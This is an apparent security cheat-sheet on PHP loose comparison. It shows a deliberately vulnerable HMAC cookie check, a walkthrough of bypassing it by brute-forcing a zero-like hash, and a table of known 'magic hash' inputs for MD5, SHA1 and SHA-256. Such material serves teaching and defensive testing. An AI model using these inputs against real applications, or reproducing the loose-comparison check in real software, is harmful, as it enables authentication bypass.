PHP Juggling type and magic hashes

PHP provides two ways to compare two variables:

Loose comparison using == or != : both variables have "the same value".
Strict comparison using === or !== : both variables have "the same type and the same value".

Type Juggling

True statements

var_dump('0010e2'   == '1e3');           # true
var_dump('0xABCdef' == ' 0xABCdef');     # true PHP 5.0 / false PHP 7.0
var_dump('0xABCdef' == '     0xABCdef'); # true PHP 5.0 / false PHP 7.0
var_dump('0x01'     == 1)                # true PHP 5.0 / false PHP 7.0
var_dump('0x1234Ab' == '1193131');

'123'  == 123
'123a' == 123
'abc'  == 0

'' == 0 == false == NULL
'' == 0       # true
0  == false   # true
false == NULL # true
NULL == ''    # true

NULL statements

var_dump(sha1([])); # NULL
var_dump(md5([]));  # NULL

Example vulnerable code

function validate_cookie($cookie,$key){
	$hash = hash_hmac('md5', $cookie['username'] . '|' . $cookie['$expiration'], $key);
	if($cookie['hmac'] != $hash){ // loose comparison
		return false;
	...

The $cookie variable is provided by the user. The $key variable is a secret and unknown to the user.

If we can make the calculated hash string Zero-like, and provide "0" in the $cookie['hmac'], the check will pass.

"0e768261251903820937390661668547" == "0"

We have control over 3 elements in the cookie:

$username - username you are targetting, probably "admin"
$hmac - the provided hash, "0"
$expiration - a UNIX timestamp, must be in the future

Increase the expiration timestamp enough times and we will eventually get a Zero-like calculated HMAC.

hash_hmac(admin|1424869663) -> "e716865d1953e310498068ee39922f49"
hash_hmac(admin|1424869664) -> "8c9a492d316efb5e358ceefe3829bde4"
hash_hmac(admin|1424869665) -> "9f7cdbe744fc2dae1202431c7c66334b"
hash_hmac(admin|1424869666) -> "105c0abe89825a14c471d4f0c1cc20ab"
...
hash_hmac(admin|1835970773) -> "0e174892301580325162390102935332" // "0e174892301580325162390102935332" == "0"

Magic Hashes - Exploit

If the hash computed starts with "0e" (or "0..0e") only followed by numbers, PHP will treat the hash as a float.

Hash	“Magic” Number / String	Magic Hash	Found By / Description
MD5	240610708	0e462097431906509019562988736854	@spazef0rze
MD5	QNKCDZO	0e830400451993494058024219903391	@spazef0rze
MD5	0e1137126905	0e291659922323405260514745084877	@spazef0rze
MD5	0e215962017	0e291242476940776845150308577824	@spazef0rze
MD5	129581926211651571912466741651878684928	06da5430449f8f6f23dfc1276f722738	Raw: ?T0D??o#??'or'8.N=?
SHA1	10932435112	0e07766915004133176347055865026311692244	Independently found by Michael A. Cleverly & Michele Spagnuolo & Rogdham
SHA-224	10885164793773	0e281250946775200129471613219196999537878926740638594636	@TihanyiNorbert
SHA-256	34250003024812	0e46289032038065916139621039085883773413820991920706299695051332	@TihanyiNorbert
SHA-256	TyNOQHUS	0e66298694359207596086558843543959518835691168370379069085300385	@Chick3nman512

<?php
var_dump(md5('240610708') == md5('QNKCDZO')); # bool(true)
var_dump(md5('aabg7XSs')  == md5('aabC9RqS'));
var_dump(sha1('aaroZmOk') == sha1('aaK1STfY'));
var_dump(sha1('aaO8zKZF') == sha1('aa3OFF9m'));
?>

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